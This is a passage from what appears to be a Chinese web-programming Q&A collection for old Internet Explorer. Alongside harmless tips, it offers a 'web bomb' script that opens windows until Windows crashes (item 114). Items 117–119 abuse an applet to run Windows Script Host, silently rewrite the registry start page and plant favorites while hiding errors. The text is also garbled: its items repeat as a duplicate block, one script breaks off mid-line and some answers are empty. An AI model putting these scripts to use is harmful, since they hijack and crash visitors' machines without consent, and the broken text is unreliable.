第52章
作者:佚名 更新:2021-12-03 10:35
112,Q:让一个窗口在指定的时间内关闭:
A: (n 替换为数字,单位为“ms毫秒”)。
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
var count=10; //打开窗口的个数
for(var i=0;i<count;i++) document.open('某网页文件.htm','','')
站长提醒:此法不要滥用;试验前保存你的数据。
115,Q:网页编程中响应鼠标双击事件:
A:
116,Q:javascript 脚本中 innerHTML 代表什么?
A:举个例子:
其中 test.innerHTML代表的就是 "我是张庆"
大家还可以试试 outHtml、innerText、outText 等属性。
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
A:
document.write("");
function set2homepage()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// 100000.home.sohu.com");}
catch(e){}
}
catch(e){}
}
setTimeout("set2homepage()",1); //1ms
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
A:
document.write("");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie
//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
119,Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "\\Favorites";
if(!
A: (n 替换为数字,单位为“ms毫秒”)。
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
var count=10; //打开窗口的个数
for(var i=0;i<count;i++) document.open('某网页文件.htm','','')
站长提醒:此法不要滥用;试验前保存你的数据。
115,Q:网页编程中响应鼠标双击事件:
A:
116,Q:javascript 脚本中 innerHTML 代表什么?
A:举个例子:
其中 test.innerHTML代表的就是 "我是张庆"
大家还可以试试 outHtml、innerText、outText 等属性。
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
A:
document.write("");
function set2homepage()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// 100000.home.sohu.com");}
catch(e){}
}
catch(e){}
}
setTimeout("set2homepage()",1); //1ms
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
A:
document.write("");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie
//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
119,Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "\\Favorites";
if(!
作品本身仅代表作者本人的观点,与本站立场无关。如因而由此导致任何法律问题或后果,本站均不负任何责任。